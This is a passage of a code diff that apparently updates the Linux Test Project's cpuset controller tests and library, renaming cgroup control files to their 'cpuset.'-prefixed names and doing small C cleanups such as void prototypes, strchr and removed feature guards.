+	echo > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo > "$CPUSET/father/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test -z "$(cat "$CPUSET/father/mems")" || return 1
-	test -z "$(cat "$CPUSET/father/child/mems")" || return 1
+	test -z "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test26()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
-	echo > "$CPUSET/father/mems" 2> /dev/null && return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo > "$CPUSET/father/cpuset.mems" 2> /dev/null && return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test "0-$((nr_mems-1))" = "$(cat "$CPUSET/father/mems")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test "0-$((nr_mems-1))" = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test27()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo > "$CPUSET/father/child/mems" || return 1
-	echo 0 > "$CPUSET/father/mems" || return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
+	echo > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test 0 = "$(cat "$CPUSET/father/mems")" || return 1
-	test -z "$(cat "$CPUSET/father/child/mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test -z "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test28()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
-	echo 0 > "$CPUSET/father/mems" || return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test 0 = "$(cat "$CPUSET/father/mems")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test29()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo 1 > "$CPUSET/father/child/mems" || return 1
-	echo 0 > "$CPUSET/father/mems" 2> /dev/null && return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 1 > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" 2> /dev/null && return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test "0-$((nr_mems-1))" = "$(cat "$CPUSET/father/mems")" || return 1
-	test 1 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test "0-$((nr_mems-1))" = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 1 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test30()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo 0,1 > "$CPUSET/father/child/mems" || return 1
-	echo 0 > "$CPUSET/father/mems" 2> /dev/null && return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0,1 > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/cpuset.mems" 2> /dev/null && return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test "0-$((nr_mems-1))" = "$(cat "$CPUSET/father/mems")" || return 1
-	test "0-1" = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test "0-$((nr_mems-1))" = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test31()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
-	echo "0,1" > "$CPUSET/father/mems" || return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test "0-1" = "$(cat "$CPUSET/father/mems")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 test32()
 {
-	echo "$mems_all" > "$CPUSET/father/mems" || return 1
-	echo 0 > "$CPUSET/father/child/mems" || return 1
-	echo "0,1" > "$CPUSET/father/mems" || return 1
+	echo "$mems_all" > "$CPUSET/father/cpuset.mems" || return 1
+	echo 0 > "$CPUSET/father/child/cpuset.mems" || return 1
+	echo "0,1" > "$CPUSET/father/cpuset.mems" || return 1
 
-	cpuset_log "father mems $(cat "$CPUSET/father/mems")"
-	cpuset_log "child mems $(cat "$CPUSET/father/child/mems")"
+	cpuset_log "father cpuset.mems $(cat "$CPUSET/father/cpuset.mems")"
+	cpuset_log "child cpuset.mems $(cat "$CPUSET/father/child/cpuset.mems")"
 
-	test "0-1" = "$(cat "$CPUSET/father/mems")" || return 1
-	test 0 = "$(cat "$CPUSET/father/child/mems")" || return 1
+	test "0-1" = "$(cat "$CPUSET/father/cpuset.mems")" || return 1
+	test 0 = "$(cat "$CPUSET/father/child/cpuset.mems")" || return 1
 }
 
 for i in $(seq 1 $TST_TOTAL)
diff --git a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh
index 05a9ea6..e973de7 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh
@@ -28,7 +28,7 @@
 
 . cpuset_funcs.sh
 
-check
+check 2 1
 
 exit_status=0
 
@@ -86,7 +86,7 @@
 		return 1
 	fi
 
-	root_cpus="`cat $CPUSET/cpus`"
+	root_cpus="`cat $CPUSET/cpuset.cpus`"
 
 	task_cpus="`cat /proc/$tst_pid/status | grep Cpus_allowed_list`"
 	task_cpus="`echo $task_cpus | sed -e 's/Cpus_allowed_list: //'`"
@@ -155,7 +155,7 @@
 		return 1
 	fi
 
-	cpus="`cat $path/cpus`"
+	cpus="`cat $path/cpuset.cpus`"
 
 	task_cpus="`cat /proc/$tst_pid/status | grep Cpus_allowed_list`"
 	task_cpus="`echo $task_cpus | sed -e 's/Cpus_allowed_list: //'`"
diff --git a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_list_compute.c b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_list_compute.c
index 1b55f4b..1c66b86 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_list_compute.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_list_compute.c
@@ -24,13 +24,12 @@
 static void usage(char *prog_name, int status)
 {
 	fprintf(stderr, USAGE, prog_name);
-	exit(1);
+	exit(status);
 }
 
 static void checkopt(int argc, char **argv)
 {
-	char c = '\0';
-	int optc = 0;
+	int c, optc = 0;
 
 	while ((c = getopt(argc, argv, "ahs")) != -1) {
 		switch (c) {
diff --git a/testcases/kernel/controllers/cpuset/cpuset_inherit_test/cpuset_inherit_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_inherit_test/cpuset_inherit_testset.sh
index f9d524e..1b4f314 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_inherit_test/cpuset_inherit_testset.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_inherit_test/cpuset_inherit_testset.sh
@@ -28,7 +28,7 @@
 
 . cpuset_funcs.sh
 
-check
+check 1 1
 
 nr_cpus=$NR_CPUS
 nr_mems=$N_NODES
@@ -105,7 +105,7 @@
 	cfile_name="cpus"
 	while read cpus result
 	do
-		inherit_test "$CPUSET/1/cpus" "$cpus" "$result"
+		inherit_test "$CPUSET/1/cpuset.cpus" "$cpus" "$result"
 	done <<- EOF
 		NULL					EMPTY
 		0					EMPTY
@@ -119,7 +119,7 @@
 	cfile_name="mems"
 	while read mems result
 	do
-		inherit_test "$CPUSET/1/mems" "$mems" "$result"
+		inherit_test "$CPUSET/1/cpuset.mems" "$mems" "$result"
 	done <<- EOF
 		NULL					EMPTY
 		0					EMPTY
@@ -137,7 +137,7 @@
 		cfile_name="$filename"
 		while read flags result
 		do
-			inherit_test "$CPUSET/1/$filename" "$flags" "$result"
+			inherit_test "$CPUSET/1/cpuset.$filename" "$flags" "$result"
 		done <<- EOF
 			0	0
 			1	0
@@ -154,7 +154,7 @@
 		cfile_name="$filename"
 		while read flags result
 		do
-			inherit_test "$CPUSET/1/$filename" "$flags" "$result"
+			inherit_test "$CPUSET/1/cpuset.$filename" "$flags" "$result"
 		done <<- EOF
 			0	0
 			1	1
@@ -168,7 +168,7 @@
 	cfile_name="sched_load_balance"
 	while read flag result
 	do
-		inherit_test "$CPUSET/1/sched_load_balance" "$flag" "$result"
+		inherit_test "$CPUSET/1/cpuset.sched_load_balance" "$flag" "$result"
 	done <<- EOF
 		0	1
 		1	1
@@ -181,7 +181,7 @@
 	cfile_name="sched_relax_domain_level"
 	while read domain_level result
 	do
-		inherit_test "$CPUSET/1/sched_relax_domain_level" "$domain_level" "$result"
+		inherit_test "$CPUSET/1/cpuset.sched_relax_domain_level" "$domain_level" "$result"
 	done <<- EOF
 		-1	-1
 		0	-1
diff --git a/testcases/kernel/controllers/cpuset/cpuset_lib/common.h b/testcases/kernel/controllers/cpuset/cpuset_lib/common.h
index bd34741..28e948e 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_lib/common.h
+++ b/testcases/kernel/controllers/cpuset/cpuset_lib/common.h
@@ -51,7 +51,7 @@
 		start = 1;						\
 									\
 	snprintf(fullpath, sizeof(fullpath), "%s%s", basepath,		\
-		p_relpath + start);					\
+		 &p_relpath[start]);					\
 	pathlen = strlen(fullpath);					\
 									\
 	if ((dp = opendir(fullpath)) == NULL)				\
diff --git a/testcases/kernel/controllers/cpuset/cpuset_lib/cpuinfo.c b/testcases/kernel/controllers/cpuset/cpuset_lib/cpuinfo.c
index c2a60b6..575a61b 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_lib/cpuinfo.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_lib/cpuinfo.c
@@ -59,7 +59,7 @@
 	/* get cpuinfo */
 	while (fgets(buf, sizeof(buf), fp) != NULL) {
 		istr = strtok_r(buf, "\t", &saveptr);
-		valstr = index(saveptr, ':');
+		valstr = strchr(saveptr, ':');
 		if (valstr == NULL)
 			continue;
 		valstr++;
diff --git a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
index 9b67e37..172e237 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
@@ -22,8 +22,7 @@
  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA
  */
 
-#define _XOPEN_SOURCE 500	/* need to see pread() */
-#define _BSD_SOURCE 1		/* need to see syscall() */
+#define _GNU_SOURCE	/* need to see pread() and syscall() */
 #include <unistd.h>
 
 #include <ctype.h>
@@ -231,7 +230,7 @@
 	check_ok
 } check_state = check_notdone;
 
-static int check()
+static int check(void)
 {
 	if (check_state == check_notdone) {
 		struct stat statbuf;
@@ -576,7 +575,7 @@
 	return strlen(s) * 32 / 9;
 }
 
-static void update_mask_sizes()
+static void update_mask_sizes(void)
 {
 	FILE *fp = NULL;
 	char *buf = NULL;
@@ -609,7 +608,7 @@
 }
 
 /* Allocate a new struct cpuset */
-struct cpuset *cpuset_alloc()
+struct cpuset *cpuset_alloc(void)
 {
 	struct cpuset *cp = NULL;
 	int nbits;
@@ -648,7 +647,7 @@
 }
 
 /* Number of bits in a CPU bitmask on current system */
-int cpuset_cpus_nbits()
+int cpuset_cpus_nbits(void)
 {
 	if (cpumask_sz == 0)
 		update_mask_sizes();
@@ -656,7 +655,7 @@
 }
 
 /* Number of bits in a Memory bitmask on current system */
-int cpuset_mems_nbits()
+int cpuset_mems_nbits(void)
 {
 	if (nodemask_sz == 0)
 		update_mask_sizes();
@@ -1195,7 +1194,7 @@
  *	available below /sys/devices/system.
  */
 
-static void rebuild_map()
+static void rebuild_map(void)
 {
 	char buf[PATH_MAX];
 	DIR *dir1, *dir2;
@@ -1239,7 +1238,7 @@
  *	Reload the cpunodemap[] array from the file.
  */
 
-static void load_map()
+static void load_map(void)
 {
 	char buf[SMALL_BUFSZ];	/* buffer 1 line of mapfile */
 	FILE *mapfp;		/* File stream on mapfile */
@@ -1274,7 +1273,7 @@
  *	Write cpunodemap[] out to mapfile.
  */
 
-static void store_map()
+static void store_map(void)
 {
 	char buf[PATH_MAX];
 	int fd = -1;
@@ -1320,7 +1319,7 @@
  * On error, return -1 with errno set and no lock held.
  */
 
-static int get_map()
+static int get_map(void)
 {
 	time_t file_mtime;
 
@@ -1349,7 +1348,7 @@
 	return -1;
 }
 
-static void put_map()
+static void put_map(void)
 {
 	funlockfile(stdin);
 }
@@ -1513,7 +1512,7 @@
 	return -1;
 }
 
-static void build_distmap()
+static void build_distmap(void)
 {
 	static int tried_before = 0;
 	int ncpus = cpuset_cpus_nbits();
@@ -1627,7 +1626,7 @@
 	free(dists);
 }
 
-static void build_distmap_sn()
+static void build_distmap_sn(void)
 {
 	int ncpus = cpuset_cpus_nbits();
 	int nmems = cpuset_mems_nbits();
@@ -1840,7 +1839,7 @@
  * open to close, the first time called.
  */
 
-static int get_siblings()
+static int get_siblings(void)
 {
 	static int siblings;
 	char buf[32];		/* big enough for one 'siblings' line */
@@ -2230,7 +2229,7 @@
 }
 
 /* [optional] Return mountpoint of cpuset filesystem */
-const char *cpuset_mountpoint()
+const char *cpuset_mountpoint(void)
 {
 	if (check() < 0) {
 		switch (errno) {
@@ -3087,21 +3086,17 @@
 	return ltp_syscall(__NR_sched_setaffinity, pid, len, mask);
 }
 
-#if HAVE_DECL_MPOL_F_ADDR && HAVE_DECL_MPOL_F_NODE
 static int get_mempolicy(int *policy, unsigned long *nmask,
 			 unsigned long maxnode, void *addr, int flags)
 {
 	return ltp_syscall(__NR_get_mempolicy, policy, nmask, maxnode,
 		addr, flags);
 }
-#endif
 
-#if HAVE_DECL_MPOL_BIND || HAVE_DECL_MPOL_DEFAULT
 static int set_mempolicy(int mode, unsigned long *nmask, unsigned long maxnode)
 {
 	return ltp_syscall(__NR_set_mempolicy, mode, nmask, maxnode);
 }
-#endif
 
 struct cpuset_placement {
 	struct bitmask *cpus;
@@ -3443,12 +3438,7 @@
 	if ((bmp = bitmask_alloc(cpuset_mems_nbits())) == NULL)
 		return -1;
 	bitmask_setbit(bmp, mem);
-#if HAVE_DECL_MPOL_BIND
 	r = set_mempolicy(MPOL_BIND, bitmask_mask(bmp), bitmask_nbits(bmp) + 1);
-#else
-	r = -1;
-	errno = ENOSYS;
-#endif
 	bitmask_free(bmp);
 	return r;
 }
@@ -3458,13 +3448,11 @@
 {
 	int node = -1;
 
-#if HAVE_DECL_MPOL_F_ADDR && HAVE_DECL_MPOL_F_NODE
 	if (get_mempolicy(&node, NULL, 0, addr, MPOL_F_NODE | MPOL_F_ADDR)) {
 		/* I realize this seems redundant, but I _want_ to make sure
 		 * that this value is -1. */
 		node = -1;
 	}
-#endif
 	return node;
 }
 
@@ -3683,7 +3671,7 @@
 }
 
 /* Return number CPUs in current tasks cpuset */
-int cpuset_size()
+int cpuset_size(void)
 {
 	struct cpuset_placement *plc1 = NULL, *plc2 = NULL;
 	int r;
@@ -3707,7 +3695,7 @@
 }
 
 /* Return relative CPU number, within current cpuset, last executed on */
-int cpuset_where()
+int cpuset_where(void)
 {
 	struct cpuset_placement *plc1 = NULL, *plc2 = NULL;
 	int r;
@@ -3731,7 +3719,7 @@
 }
 
 /* Undo cpuset_pin - let current task have the run of all CPUs in its cpuset */
-int cpuset_unpin()
+int cpuset_unpin(void)
 {
 	struct bitmask *cpus = NULL, *mems = NULL;
 	int r = -1;
@@ -3753,12 +3741,10 @@
 
 	if ((mems = bitmask_alloc(cpuset_mems_nbits())) == NULL)
 		goto err;
-#if HAVE_DECL_MPOL_DEFAULT
 	if (set_mempolicy(MPOL_DEFAULT, bitmask_mask(mems),
 			  bitmask_nbits(mems) + 1) < 0)
 		goto err;
 	r = 0;
-#endif
 	/* fall into ... */
 err:
 	bitmask_free(cpus);
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh
index fcf00d4..eddd7f6 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh
@@ -43,7 +43,7 @@
 
 test1()
 {
-	echo 0 > "$CPUSET/memory_pressure_enabled" 2> $CPUSET_TMP/stderr
+	echo 0 > "$CPUSET/cpuset.memory_pressure_enabled" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "Closing memory_pressure_enabled failed."
@@ -53,7 +53,7 @@
 	local i
 	for i in $(seq 0 9)
 	do
-		if [ $(cat "$CPUSET/memory_pressure") -ne 0 ]; then
+		if [ $(cat "$CPUSET/cpuset.memory_pressure") -ne 0 ]; then
 			tst_resm TFAIL "Memory_pressure had memory pressure rate."
 			return 1
 		fi
@@ -62,7 +62,7 @@
 
 test2()
 {
-	echo 0 > "$CPUSET/memory_pressure_enabled" 2> $CPUSET_TMP/stderr
+	echo 0 > "$CPUSET/cpuset.memory_pressure_enabled" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "Closing memory_pressure_enabled failed."
@@ -74,7 +74,7 @@
 	local i
 	for i in $(seq 0 9)
 	do
-		if [ $(cat "$CPUSET/memory_pressure") -ne 0 ]; then
+		if [ $(cat "$CPUSET/cpuset.memory_pressure") -ne 0 ]; then
 			tst_resm TFAIL "Memory_pressure had memory pressure rate."
 			return 1
 		fi
@@ -83,7 +83,7 @@
 
 test3()
 {
-	echo 1 > "$CPUSET/memory_pressure_enabled" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/cpuset.memory_pressure_enabled" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "Opening memory_pressure_enabled failed."
@@ -100,11 +100,11 @@
 	local i
 	for i in $(seq 0 9)
 	do
-		if [ $(cat "$CPUSET/memory_pressure") -ne 0 ]; then
+		if [ $(cat "$CPUSET/cpuset.memory_pressure") -ne 0 ]; then
 			tst_resm TFAIL "root group's memory_pressure had memory pressure rate."
 			return 1
 		fi
-		if [ $(cat "$CPUSET/sub_cpuset/memory_pressure") -ne 0 ]; then
+		if [ $(cat "$CPUSET/sub_cpuset/cpuset.memory_pressure") -ne 0 ]; then
 			tst_resm TFAIL "sub group's memory_pressure had memory pressure rate."
 			return 1
 		fi
@@ -114,7 +114,7 @@
 
 test4()
 {
-	echo 1 > "$CPUSET/memory_pressure_enabled" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/cpuset.memory_pressure_enabled" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "Opening memory_pressure_enabled failed."
@@ -147,11 +147,11 @@
 	local i
 	for i in $(seq 0 9)
 	do
-		if [ $(cat "$CPUSET/memory_pressure") -ne 0 ]; then
+		if [ $(cat "$CPUSET/cpuset.memory_pressure") -ne 0 ]; then
 			tst_resm TFAIL "root group's memory_pressure had memory pressure rate."
 			return 1
 		fi
-		if [ $(cat "$CPUSET/sub_cpuset/memory_pressure") -eq 0 ]; then
+		if [ $(cat "$CPUSET/sub_cpuset/cpuset.memory_pressure") -eq 0 ]; then
 			tst_resm TFAIL "sub group's memory_pressure didn't have memory pressure rate."
 			return 1
 		fi
@@ -160,7 +160,7 @@
 
 test5()
 {
-	echo 1 > "$CPUSET/memory_pressure_enabled" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/cpuset.memory_pressure_enabled" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "Opening memory_pressure_enabled failed."
@@ -178,11 +178,11 @@
 	local i
 	for i in $(seq 0 9)
 	do
-		if [ $(cat "$CPUSET/memory_pressure") -eq 0 ]; then
+		if [ $(cat "$CPUSET/cpuset.memory_pressure") -eq 0 ]; then
 			tst_resm TFAIL "root group's memory_pressure didn't have memory pressure rate."
 			return 1
 		fi
-		if [ $(cat "$CPUSET/sub_cpuset/memory_pressure") -ne 0 ]; then
+		if [ $(cat "$CPUSET/sub_cpuset/cpuset.memory_pressure") -ne 0 ]; then
 			tst_resm TFAIL "sub group's memory_pressure had memory pressure rate."
 			return 1
 		fi
@@ -191,7 +191,7 @@
 
 test6()
 {
-	echo 1 > "$CPUSET/memory_pressure_enabled" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/cpuset.memory_pressure_enabled" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "Opening memory_pressure_enabled failed."
@@ -224,11 +224,11 @@
 	local i
 	for i in $(seq 0 9)
 	do
-		if [ $(cat "$CPUSET/memory_pressure") -eq 0 ]; then
+		if [ $(cat "$CPUSET/cpuset.memory_pressure") -eq 0 ]; then
 			tst_resm TFAIL "root group's memory_pressure didn't have memory pressure rate."
 			return 1
 		fi
-		if [ $(cat "$CPUSET/sub_cpuset/memory_pressure") -eq 0 ]; then
+		if [ $(cat "$CPUSET/sub_cpuset/cpuset.memory_pressure") -eq 0 ]; then
 			tst_resm TFAIL "sub group's memory_pressure didn't have memory pressure rate."
 			return 1
 		fi
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh
index f7d4d63..e2767ef 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh
@@ -207,7 +207,7 @@
 		return 1
 	fi
 
-	/bin/echo "$is_spread" > "$cpusetpath/memory_spread_page" 2> $CPUSET_TMP/stderr
+	/bin/echo "$is_spread" > "$cpusetpath/cpuset.memory_spread_page" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set spread value failed."
diff --git a/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh
index e8ef6bf..cb7dbd8 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh
@@ -345,7 +345,7 @@
 		return 1
 	fi
 
-	echo 1 > "$CPUSET/2/memory_migrate" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/2/cpuset.memory_migrate" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set general group2's memory_migrate failed."
@@ -384,7 +384,7 @@
 	echo $1 > "$2/tasks"
 	/bin/kill -s SIGUSR1 $1
 
-	echo 0 > "$2/mems" || return 1
+	echo 0 > "$2/cpuset.mems" || return 1
 	sleep 1
 	/bin/kill -s SIGUSR1 $1
 	sleep 1
@@ -432,7 +432,7 @@
 		return 1
 	fi
 
-	echo 1 > "$CPUSET/0/memory_migrate" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/0/cpuset.memory_migrate" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set general group's memory_migrate failed."
@@ -543,7 +543,7 @@
 		return 1
 	fi
 
-	echo 1 > "$CPUSET/2/memory_migrate" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/2/cpuset.memory_migrate" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set general group2's memory_migrate failed."
@@ -599,7 +599,7 @@
 		return 1
 	fi
 
-	echo 1 > "$CPUSET/2/memory_migrate" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/2/cpuset.memory_migrate" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set general group2's memory_migrate failed."
@@ -618,7 +618,7 @@
 
 		echo $testtid > "$CPUSET/2/tasks"
 		sleep 1
-		echo 1 > "$CPUSET/1/memory_migrate"
+		echo 1 > "$CPUSET/1/cpuset.memory_migrate"
 		sleep 1
 		/bin/kill -s SIGUSR2 $testpid
 		sleep 1
@@ -666,7 +666,7 @@
 		return 1
 	fi
 
-	echo 1 > "$CPUSET/2/memory_migrate" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/2/cpuset.memory_migrate" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set general group2's memory_migrate failed."
@@ -684,7 +684,7 @@
 
 		echo $testtid > "$CPUSET/2/tasks"
 		sleep 1
-		echo 0 > "$CPUSET/1/mems"
+		echo 0 > "$CPUSET/1/cpuset.mems"
 		sleep 1
 		/bin/kill -s SIGUSR2 $testpid
 		sleep 1
@@ -734,7 +734,7 @@
 		return 1
 	fi
 
-	echo 1 > "$CPUSET/1/memory_migrate" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/1/cpuset.memory_migrate" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set general group1's memory_migrate failed."
@@ -748,7 +748,7 @@
 		return 1
 	fi
 
-	echo 1 > "$CPUSET/2/memory_migrate" 2> $CPUSET_TMP/stderr
+	echo 1 > "$CPUSET/2/cpuset.memory_migrate" 2> $CPUSET_TMP/stderr
 	if [ $? -ne 0 ]; then
 		cpuset_log_error $CPUSET_TMP/stderr
 		tst_resm TFAIL "set general group2's memory_migrate failed."
@@ -766,7 +766,7 @@
 
 		echo $testtid > "$CPUSET/2/tasks"
 		sleep 1
-		echo 0 > "$CPUSET/1/mems"
+		echo 0 > "$CPUSET/1/cpuset.mems"
 		sleep 1
 		/bin/kill -s SIGUSR2 $testpid
 		sleep 1
